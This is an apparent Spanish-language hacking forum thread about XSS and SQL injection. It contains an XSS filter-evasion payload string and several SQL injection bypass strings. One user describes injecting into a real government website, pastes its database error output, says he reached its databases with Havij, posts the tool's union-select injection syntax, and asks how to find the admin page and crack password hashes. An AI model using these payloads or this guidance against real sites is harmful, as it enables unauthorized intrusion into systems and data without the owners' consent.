MAZTOR (11 y) : 54968 Podias explotar el XSS al maximo saltando los filtros o con un Rjs Ej:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>.

no creo que le arreglen aun, esas vulnerabilidades son un poco viejas, pero has hecho muy bien con reportar.

Blizzacjk (11 y) : 54970 :D gracias por esa explicacion

lokolopsycho (11 y) : 54984 hola ami me pasa algo parecido con otra pagina del gobierno de mi pais para comprovar si era o no vulnerable al xss puse este code html en su url:
<h1>hola</h1> y me dio esto por resultado

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs_http/OrdenJuridico/estatal.php on line 180

Notice: Undefined index:
Hola
in /usr/local/apache/htdocs_http/xxxxxxx/estatal.php on line 199

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '=
Hola
ORDER BY C.idPoder asc' at line 5

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs_http/xxxxxxx/estatal.php on line 270


Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs_http/xxxxxxx/estatal.php on line 272


por lo visto es vulnerable al sql pero, lo e inyectado con el code -1+union+all+select+1,,2,3,4,5,etc y nada alguien ke me orientara y me explicara como puedo acceder a la pagina ya accedi a las bases de datos por medio del havij pero kiero aprender manualmente

Gracias

Blizzacjk (11 y) : 54986 pues te recomendaria comenzar por injecciones sql hay buenos blogs sobre eso,

http://l0ve.diosdelared.com/index.php?coment=11493

es un muy buen recopilatorio de sql suerte :)

MichB (11 y) : 54990 estaba mirando el código de MAZTOR y probé a inyectarlo. ¿por que metiste tanto a la inyeccion si con esto <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> funciona bien?

lokolopsycho (11 y) : 54991 oye me puedes explicar para que sirve ese scrip SAludos

lokolopsycho (11 y) : 54992 con respecto al tutorial ya lo avia leido

incid3nt (11 y) : 54993 MichB, Maztor no metio tanto código, proporciono diferentes códigos que pueden bypassear ciertos filtros.

Una SQL Injection por ejemplo puede bypassearse con:

id=1 and 1 = 2
id=1+and+1=2
id=-1 ...
id=1/**/1/**/and/**/1/**/=2

...etcétera.

¿Entendes?

Salu2

lokolopsycho (11 y) : 54995 ya e intentado usar esos codes pero sin resultado el havij me dice:

Web Server: Apache/2.2.17 (Win32) PHP/5.2.10
Powered-by: PHP/5.2.10
Keyword Found: Dialoga
Injection type is String (')
DB Server: MySQL >=5
Selected Column Count is 13
Valid String Column is 2
Current DB: wreportecdb
Injection Syntax: 999999.9' union all select 0x31303235343830303536,%String_Col%,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536 and 'x'='x

lokolopsycho (11 y) : 54996 aveces uno de los mayores problemas es encontrar la pagina del administrador

o desencriptar el hash

SIZZLAK (2 m) : 55854 puedo contactar con alguno de ustedes actualmente?? veo que los comentarios son antiguos. de poder hacerlo mi correo es [email protected]